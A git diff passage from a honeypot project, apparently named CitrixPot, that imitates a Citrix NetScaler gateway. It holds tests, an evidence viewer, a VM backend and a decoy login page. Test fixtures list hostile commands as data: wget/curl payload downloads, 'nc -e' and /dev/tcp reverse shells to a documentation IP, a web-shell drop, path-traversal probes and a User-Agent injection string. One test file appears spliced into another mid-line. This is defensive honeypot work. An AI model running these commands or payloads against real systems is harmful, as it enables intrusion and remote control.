True and len(rows[-1]['content']) == 256 + + # non-allowed port is rejected before any socket is opened + strict = Fetcher(lambda event, **data: rows.append(dict(event=event, **data)), + resolver=lambda host: ['127.0.0.1'], ports=(80, 443)) + try: + strict._fetch(base + '/payload', ctx) + raise AssertionError('non-allowed port accepted') + except ValueError: + pass + + # submit runs in background and stores the asset + before = len(rows) + fetcher.submit(f'wget {base}/payload -O /tmp/x', ctx) + for _ in range(50): + if any(r['event'] == 'payload_download' for r in rows[before:]): + break + time.sleep(0.05) + assert any(r['event'] == 'payload_download' for r in rows[before:]) + finally: + server.shutdown() + server.server_close() + thread.join(3) + print('PASS: payload fetcher downloads and stores assets, blocks private/ports, never executes') + + +if __name__ == '__main__': + main() diff --git a/test_private_boundary.py b/test_private_boundary.py new file mode 100644 index 0000000..1a34d1b --- /dev/null +++ b/test_private_boundary.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python3 +"""Harmless path checks against the local tunnel to the decoy; no payload execution.""" +import argparse +import http.client +import ipaddress +import urllib.parse + +PATHS = ( + '/reports', '/reports/', '/admin', '/admin/', '/dashboard', '/evidence', '/evidence/', + '/logs', '/logs/', '/logs/events.jsonl', '/events.jsonl', '/artifacts/', + '/artifacts/' + '0' * 64 + '.bin', '/http/events.jsonl', '/network/events.jsonl', + '/var/lib/decoy/http/events.jsonl', '/var/lib/decoy/network/events.jsonl', + '/opt/decoy/honeypot.py', '/honeypot.py', '/evidence.py', '/vm_backend.py', '/guest.py', + '/network_capture.py', '/ui/sources.json', '/README.md', + '/../var/lib/decoy/http/events.jsonl', '/../../var/lib/decoy/http/events.jsonl', + '/%2e%2e/%2e%2e/var/lib/decoy/http/events.jsonl', + '/%2e%2e%2f%2e%2e%2fvar%2flib%2fdecoy%2fhttp%2fevents.jsonl', + '/%252e%252e%252fvar%252flib%252fdecoy%252fhttp%252fevents.jsonl', + '/..%5c..%5cvar%5clib%5cdecoy%5chttp%5cevents.jsonl', + '//var/lib/decoy/http/events.jsonl', '/logs/../events.jsonl', '/logs%00/events.jsonl', +) + + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--url', required=True, help='HTTP loopback tunnel URL') + args = parser.parse_args() + url = urllib.parse.urlsplit(args.url) + if url.scheme != 'http' or url.username or url.password or url.query or url.fragment: + parser.error('use an HTTP loopback tunnel URL without credentials or query') + try: + loopback = ipaddress.ip_address(url.hostname).is_loopback + except ValueError: + loopback = url.hostname == 'localhost' + if not loopback or url.path not in ('', '/'): + parser.error('test is restricted to the loopback tunnel root') + def request(path): + conn = http.client.HTTPConnection(url.hostname, url.port or 80, timeout=25) + try: + conn.request('GET', path) + response = conn.getresponse() + body = response.read(131073) + assert len(body) <= 131072, 'unexpected large response for ' + path + return response.status, body + finally: + conn.close() + status, body = request('/') + assert status == 200 and b'/root/pwned', + 'echo owned > /tmp/pwned-by-attacker', + 'curl http://203.0.113.9/x.sh -o /tmp/x.sh', + 'wget http://203.0.113.9/payload -O /tmp/p', + 'nc -e /bin/sh 203.0.113.9 4444', + 'bash -c "sh -i >& /dev/tcp/203.0.113.9/4444 0>&1"', + '`id`', + 'mkdir -p /var/www/shell; touch /var/www/shell/x.jsp', +) +marker = pathlib.Path(tempfile.gettempdir()) / 'pwned-by-attacker' +if marker.exists(): + marker.unlink() + +try: + events = [] + engine = Engine(lambda event, **data: events.append(dict(event=event, **data))) + state = engine.session('198.51.100.7') + for command in DANGEROUS: + simulate(state, command, engine.emit) + engine.tick() +finally: + for name, original in saved.items(): + if name.startswith('subprocess.'): + setattr(subprocess, name.split('.', 1)[1], original) + else: + setattr(os, name, original) + +assert not calls, calls +assert not marker.exists(), 'a simulated command wrote a real file' +kinds = {e['event'] for e in events} +assert 'unsupported' in kinds or 'simulated_command' in kinds +outbound = [e for e in events if e['event'] == 'outbound_attempt'] +assert outbound and all(e['disposition'] == 'recorded_only' for e in outbound) +# Virtual writes stay in memory only. +assert 'virtual_file_write' in kinds or 'unsupported' in kinds +print('PASS: simulation-only, no OS/exec/network calls, outbound recorded not performed') diff --git a/test_viewer.py b/test_viewer.py new file mode 100644 index 0000000..8e98a4b --- /dev/null +++ b/test_viewer.py @@ -0,0 +1,91 @@ +"""Run: python3 test_viewer.py. Loopback-only read-only viewer checks; no third-party dependencies.""" +import hashlib +import http.client +import http.server +import json +import pathlib +import tempfile +import threading + +import viewer + + +def main(): + with tempfile.TemporaryDirectory() as folder: + root = pathlib.Path(folder) + (root / 'artifacts').mkdir() + payload = b'\x00\xffcommand-output\x00' + sha = hashlib.sha256(payload).hexdigest() + (root / 'artifacts' / (sha + '.bin')).write_bytes(payload) + with (root / 'events.jsonl').open('w') as stream: + for event, peer, has_evidence in (('connection', '8.8.8.8', False), + ('request', '1.1.1.1', False), + ('simulated_command', '8.8.8.8', True)): + row = {'event': event, 'timestamp': '2026-09-28T00:00:00.000000+00:00', 'peer': peer, + 'command': 'id > /netscaler/ns_gui/x'} + if has_evidence: + row['evidence'] = {'sha256': sha, 'bytes': len(payload)} + stream.write(json.dumps(row) + '\n') + stream.write('{not json\n') + server = http.server.ThreadingHTTPServer(('127.0.0.1', 0), viewer.Handler) + server.journal = root / 'events.jsonl' + server.artifacts = root / 'artifacts' + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + + def get(path): + connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3) + connection.request('GET', path) + response = connection.getresponse() + result = response.status, response.read() + connection.close() + return result + + def data(path): + return json.loads(get(path)[1]) + + try: + status, body = get('/') + assert status == 200 and b'CitrixPot' in body and b'full-text search' in body + all_events = data('/api/events?size=10') + assert all_events['scanned'] == 4 and len(all_events['events']) == 3 + # newest first + assert all_events['events'][0]['event'] == 'simulated_command' + # pagination + page0 = data('/api/events?size=2&page=0') + page1 = data('/api/events?size=2&page=1') + assert len(page0['events']) == 2 and page0['has_more'] is True + assert len(page1['events']) == 1 and page1['has_more'] is False + assert page0['events'][0]['event'] == 'simulated_command' + # filters + assert len(data('/api/events?event=request')['events']) == 1 + assert len(data('/api/events?q=simulated')['events']) == 1 + assert len(data('/api/events?q=command')['events']) == 3 + assert len(data('/api/events?peer=1.1.1.1')['events']) == 1 + assert len(data('/api/events?payload=1')['events']) == 1 + # multi-term full-text (all terms must match) + assert len(data('/api/events?q=id%20netscaler')['events']) == 3 + assert len(data('/api/events?q=id%20nonexistent')['events']) == 0 + # artifacts + status, body = get('/api/artifact/' + sha) + assert status == 200 and body == payload + status, body = get('/api/artifact/' + sha + '?inline=1') + assert status == 200 and b'command-output' in body + assert get('/api/artifact/not-a-hash')[0] == 404 + assert get('/api/artifact/' + 'a' * 64)[0] == 404 + assert get('/nope')[0] == 404 + # hide operator IPs + server.hide_ips = {'8.8.8.8'} + hidden_on = data('/api/events?hide=1') + assert len(hidden_on['events']) == 1 and hidden_on['hidden'] == 1 + hidden_off = data('/api/events?hide=0') + assert len(hidden_off['events']) == 3 and hidden_off['hidden'] == 0 + finally: + server.shutdown() + server.server_close() + thread.join(3) + print('PASS: local read-only viewer: paged, filtered, multi-term search and inert artifacts') + + +if __name__ == '__main__': + main() diff --git a/test_vm_backend.py b/test_vm_backend.py new file mode 100644 index 0000000..a99f7d2 --- /dev/null +++ b/test_vm_backend.py @@ -0,0 +1,107 @@ +"""Run locally: fake SSH only; never runs received commands or guest.main.""" +import base64 +import json +import pathlib +import stat +import sys +import tempfile +import time +from evidence import EvidenceError +from honeypot import Engine +from vm_backend import VMBackend, LIMIT + + +def main(): + with tempfile.TemporaryDirectory() as directory: + root = pathlib.Path(directory) + fake = root / 'transport.py' + fake.write_text('''import sys,json,base64 +r=json.loads(sys.stdin.readline()) +if r.get('command') == 'invalid-event': + print(json.dumps({'event':'response','base64':base64.b64encode(b'bad').decode()})) +else: + print(json.dumps({'event':'guest_stdout', 'peer':'forged', 'request_id':'forged', + 'telemetry_trust':'trusted', 'evidence':{'path':'/forged'}, + 'base64':r.get('base64',base64.b64encode(b'fixture').decode())})) +''') + config = root / 'config.json' + config.write_text(json.dumps(dict(host='192.0.2.1', vmid=223, identity='/unused', known_hosts='/unused', + allowed_peers=str(root / 'peers.json'), stop_file=str(root / 'STOP')))) + events = [] + engine = Engine(lambda event, **data: events.append(dict(event=event, **data)), delay=0) + backend = VMBackend(config, lambda event, **data: events.append(dict(event=event, **data))) + # Only test fixtures run locally. Production constructs SSH argv with a fixed remote command. + assert backend.ssh[-1] == 'python3 /opt/decoy/guest.py' and backend.ssh[0] == 'ssh' + assert 'StrictHostKeyChecking=yes' in backend.ssh + backend.ssh = [sys.executable, str(fake)] + ctx = dict(peer='198.51.100.4', request_id='request-one', session='session-one') + payload = b'\x00\xff' * (1024 * 1024) # proves upload beyond old 131k request limit + backend.upload(payload, ctx) + row = events[-1] + assert row['content'] == payload and row['peer'] == ctx['peer'] + assert row['request_id'] == ctx['request_id'] and row['telemetry_trust'] == 'guest-reported' + assert 'evidence' not in row and row['guest_shared'] + assert backend.read('/netscaler/ns_gui/marker', ctx) == b'fixture' + try: + backend.upload(b'x' * (LIMIT + 1), ctx) + raise AssertionError('upload cap') + except ValueError: + pass + try: + list(backend.records(dict(action='execute', command='invalid-event'), ctx)) + raise AssertionError('guest event whitelist') + except ValueError: + pass + for i in range(130): + backend.register_peer('198.51.100.' + str(i)) + peers = json.loads((root / 'peers.json').read_text()) + assert len(peers) == 128 and peers[-1] == '198.51.100.129' + assert stat.S_IMODE((root / 'peers.json').stat().st_mode) == 0o600 + backend.register_peer('::1') + assert json.loads((root / 'peers.json').read_text()) == peers + # Mode dispatch with an inert transport: source/request context survives the delayed queue. + engine.backend = backend + state = engine.session(ctx['peer']) + marker = root / 'must-not-exist' + state.pending.append((0, 'echo fixture > ' + str(marker), ctx)) + engine.tick() + deadline = time.monotonic() + 3 + while backend.threads and time.monotonic() < deadline: + time.sleep(.01) + assert not backend.threads and not marker.exists() + assert any(e['event'] == 'execution_start' and e['request_id'] == 'request-one' for e in events) + assert not any(e['event'] == 'simulated_command' for e in events) + # A full evidence store latches STOP, calls server failure hook, and disables new transport. + failures = [] + def fail_emit(*args, **kwargs): + raise EvidenceError('test quota') + backend.emit = fail_emit + backend.on_failure = failures.append + try: + backend.read('/netscaler/ns_gui/marker', ctx) + raise AssertionError('evidence failure swallowed') + except EvidenceError: + pass + assert backend.closed and (root / 'STOP').exists() and failures + assert not backend.active + # Losing execution telemetry must latch STOP even when the evidence sink still works. + config_data = json.loads(config.read_text()) + config_data['stop_file'] = str(root / 'STOP-transport') + config.write_text(json.dumps(config_data)) + broken = VMBackend(config, lambda event, **data: events.append(dict(event=event, **data))) + broken.ssh = [sys.executable, str(fake)] + broken.on_failure = failures.append + broken.execute('invalid-event', ctx) + deadline = time.monotonic() + 3 + while broken.threads and time.monotonic() < deadline: + time.sleep(.01) + assert broken.closed and (root / 'STOP-transport').exists() + assert any(e['event'] == 'execution_error' for e in events) + # Guest entrypoint is inert on non-guest systems (no import side effects). + import guest + assert guest.ACTIVE is None + print('PASS: bounded fake SSH, large upload, guest sanitization, mode dispatch, correlation, allowlist, fail-closed') + + +if __name__ == '__main__': + main() diff --git a/test_vm_live.py b/test_vm_live.py new file mode 100644 index 0000000..1aaf18e --- /dev/null +++ b/test_vm_live.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python3 +"""Harmless VM integration check. Run ONLY on the dedicated collector after containment is ready.""" +import argparse +import hashlib +import http.client +import pathlib +import secrets +import tempfile +import threading +import time +from evidence import Evidence +from honeypot import Engine, Server +from vm_backend import VMBackend + + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--vm-config', required=True) + args = parser.parse_args() + marker = pathlib.Path('/etc/decoy-collector') + if not marker.is_file() or marker.is_symlink(): + raise SystemExit('Refusing live test outside dedicated collector') + token = secrets.token_hex(8) + with tempfile.TemporaryDirectory(prefix='decoy-live-') as folder: + evidence = Evidence(folder, quota=512 * 1024 * 1024) + rows = [] + def sink(event, **data): + evidence.emit(event, **data) + rows.append(dict(event=event, **data)) + engine = Engine(sink, delay=0, save=evidence.save) + backend = VMBackend(args.vm_config, engine.emit) + engine.backend = backend + # Test-only HTTP traffic must not overwrite the production reverse-peer authorization file. + backend.register_peer = lambda peer: None + server = Server(('127.0.0.1', 0), engine) + backend.on_failure = server.stop_capture + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + def payload(row): + return (pathlib.Path(folder) / row['evidence']['artifact']).read_bytes() + def run(command): + request_id = secrets.token_hex(16) + ctx = dict(request_id=request_id, peer='192.0.2.42', peer_port=12345) + with engine.lock: + state = engine.session(ctx['peer']) + ctx['session'] = state.sid + state.pending.append((0, command, ctx)) + engine.tick() + deadline = time.monotonic() + 20 + while time.monotonic() < deadline: + result = [r for r in rows if r.get('request_id') == request_id] + if any(r['event'] in ('execution_error', 'guest_execution_limit') for r in result): + raise AssertionError('guest execution failed: ' + request_id) + if any(r['event'] == 'execution_end' for r in result): + assert all(r.get('peer') == '192.0.2.42' and r.get('session') == state.sid for r in result) + assert all(r.get('execution_id') for r in result) + return b''.join(payload(r) for r in result if r['event'] == 'guest_stdout'), result + time.sleep(.05) + raise AssertionError('live command did not complete within20s') + def request(method, path, body=None, headers=None): + conn = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=25) + try: + conn.request(method, path, body, headers or {}) + response = conn.getresponse() + return response.status, response.read() + finally: + conn.close() + try: + path = '/netscaler/ns_gui/live-' + token + '.txt' + output, result = run('id > ' + path + '; sleep 1; cat ' + path) + assert b'uid=0(root)' in output + captured = [r for r in result if r['event'] == 'guest_file_version' and r.get('path') == path] + assert captured and b'uid=0(root)' in payload(captured[-1]) + ctx = dict(request_id='read-' + token, peer='192.0.2.42', session='live-test') + assert b'uid=0(root)' in backend.read(path, ctx) + status, body = request('GET', '/live-' + token + '.txt') + assert status == 200 and b'uid=0(root)' in body + # Harmless User-Agent log-poisoning shape from the public write-up; loopback decoy only. + ua_path = '/netscaler/ns_gui/ua-' + token + '.txt' + ua = 'pitboss PPE unexpectedly died NSPPE;:`id>' + ua_path + '`;# X' + assert request('GET', '/', headers={'User-Agent': ua})[0] == 200 + candidate = next(r for r in reversed(rows) if r['event'] == 'injection_candidate') + assert candidate['source'] == 'header:User-Agent' and candidate['value'] == ua + assert candidate['peer'] == '127.0.0.1' and candidate['peer_port'] > 0 + assert request('GET', '/ua-' + token + '.txt')[0] == 404 + engine.tick() + deadline = time.monotonic() + 20 + while time.monotonic() < deadline: + matching = [r for r in rows if r.get('request_id') == candidate['request_id']] + if any(r['event'] == 'execution_error' for r in matching): + raise AssertionError('User-Agent guest execution failed') + if any(r['event'] == 'execution_end' for r in matching): + break + time.sleep(.05) + else: + raise AssertionError('User-Agent execution timeout') + start = next(r for r in matching if r['event'] == 'execution_start') + assert start['command'] == 'id>' + ua_path + assert all(start[k] == candidate[k] for k in ('request_id', 'session', 'peer', 'peer_port')) + status, body = request('GET', '/ua-' + token + '.txt') + assert status == 200 and b'uid=0(root)' in body + binary = b'\x00\xffinert-live-upload-' + token.encode() + digest = hashlib.sha256(binary).hexdigest() + multipart = (b'--boundary\r\nContent-Disposition: form-data; name="file"; filename="../../escape.bin"\r\n' + b'Content-Type: application/octet-stream\r\n\r\n' + binary + b'\r\n--boundary--\r\n') + assert request('POST', '/upload', multipart, {'Content-Type': 'multipart/form-data; boundary=boundary'})[0] == 404 + upload = next(r for r in rows if r['event'] == 'upload') + assert upload['filename'] == '../../escape.bin' and payload(upload) == binary + materialized = next(r for r in rows if r['event'] == 'guest_upload') + assert materialized['path'] == '/var/tmp/uploads/' + digest + '.bin' + assert materialized['request_id'] == upload['request_id'] and materialized['peer'] == '127.0.0.1' + output, _ = run('sha256sum /var/tmp/uploads/' + digest + '.bin') + assert output.startswith(digest.encode()) + run('ln -s /etc/passwd /netscaler/ns_gui/link-' + token) + assert request('GET', '/link-' + token)[0] == 404 + endpoints = [('192.0.2.10', 22), ('198.51.100.10', 22), ('169.254.169.254', 80), + ('10.0.2.2', 22), ('203.0.113.1', 25)] + # Bypass guest NAT via relay UID: prove QEMU restrict blocks direct egress even if guest root disables interception. + commands = [] + for host, port in endpoints: + endpoint = host + ':' + str(port) + commands.append("if runuser -u decoy-relay -- timeout 2 bash -c 'echo probe >/dev/tcp/" + host + '/' + str(port) + + "' 2>/dev/null; then echo UNEXPECTED_ALLOWED " + endpoint + + '; else echo BLOCKED ' + endpoint + '; fi') + output, _ = run('; '.join(commands)) + assert b'UNEXPECTED_ALLOWED' not in output + assert all(('BLOCKED ' + h + ':' + str(p)).encode() in output for h, p in endpoints) + run('rm -f ' + path + ' ' + ua_path + ' /netscaler/ns_gui/link-' + token + ' /var/tmp/uploads/' + digest + '.bin') + print('PASS: real root command, offguest file/stdout evidence, HTTP file, User-Agent trigger, binary multipart, source correlation, symlink refusal, five denied egress probes') + finally: + backend.close() + server.shutdown() + server.server_close() + thread.join(timeout=3) + evidence.close() + + +if __name__ == '__main__': + main() diff --git a/trusted_proxy.py b/trusted_proxy.py new file mode 100644 index 0000000..894579b --- /dev/null +++ b/trusted_proxy.py @@ -0,0 +1,55 @@ +"""Bounded PROXY-v1 parser and trusted reverse-proxy client-IP extraction.""" +import ipaddress + +CLIENT_HEADERS = ('CF-Connecting-IP', 'True-Client-IP', 'X-Real-IP') + + +def public_ip(value): + """Return a normalized global client IP, or None for private/spoofed values.""" + try: + ip = ipaddress.ip_address(value.strip()) + except (ValueError, AttributeError): + return None + if not ip.is_global or ip.is_multicast: + return None + return str(ip) + + +def forwarded_client(headers): + """Real client IP from a trusted proxy. Priority: single-hop headers, then nearest XFF hop.""" + for name in CLIENT_HEADERS: + value = headers.get(name) + if value: + ip = public_ip(value) + if ip: + return ip, name + for hop in reversed((headers.get('X-Forwarded-For') or '').split(',')): + ip = public_ip(hop) + if ip: + return ip, 'X-Forwarded-For' + return None, None + + +def source(connection, transport, trusted): + if transport[0] != trusted: + raise ValueError('untrusted PROXY transport') + header = bytearray() + while len(header) < 108: + value = connection.recv(1) + if not value: + raise ValueError('incomplete PROXY header') + header.extend(value) + if header.endswith(b'\r\n'): + break + else: + raise ValueError('oversize PROXY header') + fields = header.decode('ascii').strip().split(' ') + if len(fields) != 6 or fields[0] != 'PROXY' or fields[1] not in ('TCP4', 'TCP6'): + raise ValueError('invalid PROXY header') + version = 4 if fields[1] == 'TCP4' else 6 + if any(ipaddress.ip_address(ip).version != version for ip in fields[2:4]): + raise ValueError('PROXY address family mismatch') + ports = [int(value) for value in fields[4:]] + if any(not 0 < port <= 65535 for port in ports): + raise ValueError('invalid PROXY port') + return (fields[2], ports[0]), bytes(header) diff --git a/ui-preview.png b/ui-preview.png new file mode 100644 index 0000000..66a61d1 Binary files /dev/null and b/ui-preview.png differ diff --git a/ui/background.jpg b/ui/background.jpg new file mode 100644 index 0000000..46fdc41 Binary files /dev/null and b/ui/background.jpg differ diff --git a/ui/favicon.ico b/ui/favicon.ico new file mode 100644 index 0000000..f5bbe78 Binary files /dev/null and b/ui/favicon.ico differ diff --git a/ui/login.html b/ui/login.html new file mode 100644 index 0000000..cb458b4 --- /dev/null +++ b/ui/login.html @@ -0,0 +1,64 @@ + + + + + + + NetScaler AAA + + + + + + + + + +
+
+
+ +
+

Melden Sie sich an

+
+
+ + +

+
+
+
+
+ + diff --git a/ui/login.js b/ui/login.js new file mode 100644 index 0000000..23f5d3d --- /dev/null +++ b/ui/login.js @@ -0,0 +1,24 @@ +'use strict'; +const form = document.getElementById('login-form'); +const button = document.getElementById('nsg-x1-logon-button'); +const message = document.getElementById('message'); +form.addEventListener('submit', async event => { + event.preventDefault(); + button.disabled = true; + message.textContent = ''; + try { + const body = new URLSearchParams(new FormData(form)); + body.set('nsg-x1-logon-button', 'Log On'); + const response = await fetch('/nf/auth/doAuthentication.do', { + method: 'POST', body, credentials: 'same-origin', redirect: 'error', + signal: AbortSignal.timeout(10000) + }); + if (!response.ok) throw new Error('Request failed'); + message.textContent = 'Anmeldung fehlgeschlagen. Überprüfen Sie Ihre Zugangsdaten.'; + } catch { + message.textContent = 'Die Anmeldung ist derzeit nicht möglich. Versuchen Sie es erneut.'; + } finally { + form.elements.passwd.value = ''; + button.disabled = false; + } +}); diff --git a/ui/logo.png b/ui/logo.png new file mode 100644 index 0000000..716cf6a Binary files /dev/null and b/ui/logo.png differ diff --git a/ui/sources.json b/ui/sources.json new file mode 100644 index 0000000..0a3a733 --- /dev/null +++ b/ui/sources.json @@ -0,0 +1,19 @@ +{ + "retrieved": "2026-09-28", + "reference": "public Citrix Gateway (NetScaler) login page static assets, retrieved 2026-09-28", + "assets": { + "background.jpg": { + "sha256": "17197024d7ccdb50bd23b0e4cfcd38bf818f0c1644795474460bb1b5c95906d5", + "bytes": 50806 + }, + "logo.png": { + "sha256": "4a2cae9a9c5a586f2bd5dc6140e34cac6b18be6b617c602a4a48321452c18c1c", + "bytes": 2300 + }, + "favicon.ico": { + "sha256": "80c297534c925e1973052b72584a929a0b68c988bfcde7c1728ad72fc1f3e039", + "bytes": 32038 + } + }, + "note": "Original public static images; HTML and JS locally implemented. No upstream auth or session tokens retained." +} diff --git a/viewer.py b/viewer.py new file mode 100644 index 0000000..d572882 --- /dev/null +++ b/viewer.py @@ -0,0 +1,309 @@ +#!/usr/bin/env python3 +"""Read-only local evidence viewer. Never exposed to attacker traffic; loopback by default.""" +import argparse +import http.server +import ipaddress +import json +import os +import pathlib +import re +import threading +import time +import urllib.parse + +from env_file import load, env_int + +PAGE = r''' + +CitrixPot analyst console + +
+

CitrixPot

+ + + + + + + + +page 1 + + + +
+
+
time (UTC)eventpeersummary
+

Select an event

+

Payload

no payload in this event
+

Raw event

-
+
+''' + + +def reverse_lines(path, block=1 << 20): + """Yield file lines newest-first without loading the whole file.""" + with path.open('rb') as stream: + stream.seek(0, 2) + position = stream.tell() + tail = b'' + while position > 0: + size = min(block, position) + position -= size + stream.seek(position) + lines = (stream.read(size) + tail).split(b'\n') + tail = lines[0] + for line in reversed(lines[1:]): + if line: + yield line + if tail.strip(): + yield tail + + +def artifact_path(artifact_dir, sha): + if not re.fullmatch(r'[0-9a-f]{64}', sha or ''): + return None + path = artifact_dir / (sha + '.bin') + return path if path.is_file() else None + + +class Handler(http.server.BaseHTTPRequestHandler): + server_version = 'CitrixPotViewer' + sys_version = '' + protocol_version = 'HTTP/1.1' + + def log_message(self, *args): + pass + + def send(self, code, content, mime='application/octet-stream', extra=()): + self.send_response(code) + self.send_header('Content-Type', mime) + self.send_header('Content-Length', str(len(content))) + self.send_header('X-Content-Type-Options', 'nosniff') + self.send_header('Cache-Control', 'no-store') + for key, value in extra: + self.send_header(key, value) + self.end_headers() + if self.command != 'HEAD': + self.wfile.write(content) + + def do_GET(self): + url = urllib.parse.urlsplit(self.path) + query = urllib.parse.parse_qs(url.query) + if url.path == '/': + return self.send(200, PAGE.encode(), 'text/html; charset=utf-8') + if url.path == '/api/events': + return self.events(query) + if url.path.startswith('/api/artifact/'): + return self.artifact(url.path.rsplit('/', 1)[-1], query) + self.send(404, b'not found', 'text/plain; charset=utf-8') + + def do_HEAD(self): + self.do_GET() + + @staticmethod + def one(query, name, default=''): + return query.get(name, [default])[0] + + def events(self, query): + try: + size = min(max(int(self.one(query, 'size', '100')), 1), 500) + except ValueError: + size = 100 + try: + page = max(int(self.one(query, 'page', '0')), 0) + except ValueError: + page = 0 + terms = [term for term in (self.one(query, 'q') or '').lower().split() if term] + kind = self.one(query, 'event') + peer = (self.one(query, 'peer') or '').lower() + payload_only = self.one(query, 'payload', '0') == '1' + hidden = getattr(self.server, 'hide_ips', set()) if self.one(query, 'hide', '1') != '0' else set() + need = (page + 1) * size + rows, scanned = [], 0 + path = self.server.journal + if path.is_file(): + # ponytail: reverse scan is bounded by page depth, not file size, for unfiltered paging; + # add a sqlite FTS index only if filtered deep paging on multi-GB journals gets slow. + for raw in reverse_lines(path): + scanned += 1 + line = raw.decode('utf-8', 'replace') + low = line.lower() + if any(term not in low for term in terms): + continue + try: + row = json.loads(line) + except ValueError: + continue + if kind and row.get('event') != kind: + continue + if row.get('peer') in hidden: + continue + if peer and peer not in str(row.get('peer', '')).lower(): + continue + if payload_only and not row.get('evidence'): + continue + rows.append(row) + if len(rows) >= need: + break + page_rows = rows[page * size:(page + 1) * size] + body = json.dumps({'events': page_rows, 'scanned': scanned, 'page': page, 'size': size, + 'has_more': len(rows) >= need, 'hidden': len(hidden)}, ensure_ascii=True).encode() + self.send(200, body, 'application/json', (('Content-Disposition', 'inline'),)) + + def artifact(self, sha, query): + path = artifact_path(self.server.artifacts, sha) + if path is None: + return self.send(404, b'not found', 'text/plain; charset=utf-8') + data = path.read_bytes() + if self.one(query, 'inline', '0') == '1': + return self.send(200, data, 'application/octet-stream') + self.send(200, data, 'application/octet-stream', + (('Content-Disposition', f'attachment; filename="{sha}.bin"'),)) + + +def main(): + load() + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--log-dir', default=os.environ.get('VIEWER_LOG_DIR', str(pathlib.Path(__file__).parent / 'logs'))) + parser.add_argument('--bind', default=os.environ.get('VIEWER_BIND', '127.0.0.1')) + parser.add_argument('--port', type=int, default=env_int('VIEWER_PORT', 8787)) + parser.add_argument('--allow-non-loopback', action='store_true', + help='required to bind anything other than a loopback address') + parser.add_argument('--hide-ip', action='append', metavar='IP', + default=[item.strip() for item in os.environ.get('VIEWER_HIDE_IP', '').split(',') if item.strip()], + help='extra client IP to hide (repeatable; VIEWER_HIDE_IP is comma-separated)') + parser.add_argument('--hide-ip-file', help='file with one hidden IP per line') + parser.add_argument('--no-hide-public-ip', action='store_true', + help="do not auto-detect and hide this host's public IP") + parser.add_argument('--hide-refresh', type=int, default=1800, + help='seconds between public-IP refreshes (default 1800)') + args = parser.parse_args() + try: + loopback = ipaddress.ip_address(args.bind).is_loopback + except ValueError: + loopback = args.bind == 'localhost' + if not loopback and not args.allow_non_loopback: + parser.error('refusing non-loopback bind without --allow-non-loopback') + directory = pathlib.Path(args.log_dir) + server = http.server.ThreadingHTTPServer((args.bind, args.port), Handler) + server.journal = directory / 'events.jsonl' + server.artifacts = directory / 'artifacts' + server.hide_ips = {ip for ip in args.hide_ip if ip} + + def hide_operator_traffic(): + from public_ip import discover + while True: + if args.hide_ip_file: + try: + server.hide_ips.update(line.strip() for line in + pathlib.Path(args.hide_ip_file).read_text().splitlines() if line.strip()) + except OSError: + pass + if not args.no_hide_public_ip: + ip = discover() + if ip: + server.hide_ips.add(ip) + time.sleep(args.hide_refresh) + + threading.Thread(target=hide_operator_traffic, daemon=True).start() + print(f'Evidence viewer: http://{args.bind}:{server.server_port}/ (read-only; {directory})', flush=True) + try: + server.serve_forever() + except KeyboardInterrupt: + pass + finally: + server.server_close() + + +if __name__ == '__main__': + main() diff --git a/vm_backend.py b/vm_backend.py new file mode 100644 index 0000000..73f54ab --- /dev/null +++ b/vm_backend.py @@ -0,0 +1,208 @@ +"""Bounded SSH transport to a disposable VM; attacker input never reaches a local shell.""" +import base64 +import collections +import ipaddress +import json +import os +import pathlib +import secrets +import subprocess +import tempfile +import threading +import time +from evidence import EvidenceError + +LIMIT = 16 * 1024 * 1024 +EVENTS = {'guest_http_file', 'guest_upload', 'guest_file_deleted', 'guest_file_version', + 'guest_file_capture_error', 'guest_process_start', 'guest_stdout', + 'guest_syscalls_stderr', 'guest_execution_limit', 'guest_process_end', 'guest_limit'} +FIELDS = {'guest_time_ns', 'path', 'size', 'mode', 'truncated', 'error', 'bytes', 'pid', + 'command', 'seconds', 'returncode', 'resource'} + + +class VMBackend: + def __init__(self, config, emit): + self.config = json.loads(pathlib.Path(config).read_text()) + self.emit, self.on_failure = emit, None + self.slots = threading.BoundedSemaphore(4) + self.io_slots = threading.BoundedSemaphore(4) + self.lock = threading.Lock() + self.active, self.threads, self.peers = set(), set(), collections.OrderedDict() + self.closed = False + host = str(ipaddress.ip_address(self.config['host'])) + port = int(self.config.get('port', 22)) + if not 1 <= port <= 65535: + raise ValueError('invalid SSH port') + self.peer_path = pathlib.Path(self.config.get('allowed_peers', '/var/lib/decoy/allowed-peers.json')) + self.stop_path = pathlib.Path(self.config.get('stop_file', '/var/lib/decoy/STOP')) + self.ssh = ['ssh', '-T', '-o', 'BatchMode=yes', '-o', 'ConnectTimeout=5', + '-o', 'ServerAliveInterval=10', '-o', 'ServerAliveCountMax=2', + '-o', 'StrictHostKeyChecking=yes', '-o', 'IdentitiesOnly=yes', + '-o', 'UserKnownHostsFile=' + self.config['known_hosts'], + '-i', self.config['identity'], '-p', str(port), + 'root@' + host, 'python3 /opt/decoy/guest.py'] + + def close(self, trip=False): + if trip: + # Broker independently watches this latch; never remove it automatically. + self.stop_path.parent.mkdir(mode=0o700, parents=True, exist_ok=True) + fd = os.open(self.stop_path, os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW, 0o600) + os.close(fd) + with self.lock: + self.closed = True + for proc in tuple(self.active): + try: + proc.kill() + except ProcessLookupError: + pass + + def fail(self, error): + try: + self.close(trip=True) + finally: + if self.on_failure: + self.on_failure(error) + + def register_peer(self, peer): + ip = ipaddress.ip_address(peer) + if ip.version != 4: + return # broker is IPv4 only + try: + with self.lock: + if self.closed or self.stop_path.exists(): + raise EvidenceError('VM capture stopped') + now = time.monotonic() + self.peers = collections.OrderedDict((k, v) for k, v in self.peers.items() if now - v < 3600) + self.peers.pop(str(ip), None) + self.peers[str(ip)] = now + while len(self.peers) > 128: + self.peers.popitem(last=False) + self.peer_path.parent.mkdir(mode=0o700, parents=True, exist_ok=True) + fd, name = tempfile.mkstemp(prefix='.peers-', dir=self.peer_path.parent) + try: + with os.fdopen(fd, 'w') as f: + json.dump(list(self.peers), f) + f.flush() + 